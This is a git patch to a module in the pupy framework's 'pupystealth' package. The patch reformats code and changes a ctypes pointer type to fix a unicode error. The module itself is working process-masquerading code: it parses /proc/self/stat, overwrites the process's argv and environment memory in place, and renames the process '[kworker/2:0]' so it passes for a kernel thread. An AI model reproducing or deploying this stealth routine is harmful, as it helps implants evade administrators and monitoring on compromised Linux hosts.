From 063016f70488cf4c01d863a06b27edff7a0efec9 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Mon, 1 Oct 2018 15:16:51 +0200 Subject: [PATCH] fix unicode error --- .../linux/all/pupystealth/change_argv.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/pupy/packages/linux/all/pupystealth/change_argv.py b/pupy/packages/linux/all/pupystealth/change_argv.py index 64751b95..2a002bbe 100644 --- a/pupy/packages/linux/all/pupystealth/change_argv.py +++ b/pupy/packages/linux/all/pupystealth/change_argv.py @@ -6,14 +6,20 @@ import ctypes import os + class Stat(): - def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime, stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode, endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap, exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time, cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code): + def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime, + stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode, + endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap, + exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time, + cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code): + self.argv = (int(arg_start), int(arg_end)) self.env = (int(env_start), int(env_end)) def parse_proc_stat(): - with open("/proc/self/stat", "r") as fh:# ?3.5+ specific + with open("/proc/self/stat", "r") as fh: # ?3.5+ specific a = tuple(fh.read().split()) s = Stat() s.add(*a) @@ -24,23 +30,25 @@ def memcpy(dest, source): start, end = dest if len(source) > end - start: raise ValueError("ma jel") - ptr = ctypes.POINTER(ctypes.c_char) + ptr = ctypes.POINTER(ctypes.c_wchar) idx = 0 write = '' for tmp in range(start, end-1): a = ctypes.cast(tmp, ptr) - if idx>=len(source): + if idx >= len(source): write = "\x00" else: write = source[idx] a.contents.value = write - idx +=1 + idx += 1 + def change_argv(argv="/bin/bash", env=""): info = parse_proc_stat() memcpy(info.argv, argv) #clean argv memcpy(info.env, env) #clean environ + if __name__=="__main__": print "pid: %s"%os.getpid() change_argv(argv="[kworker/2:0]")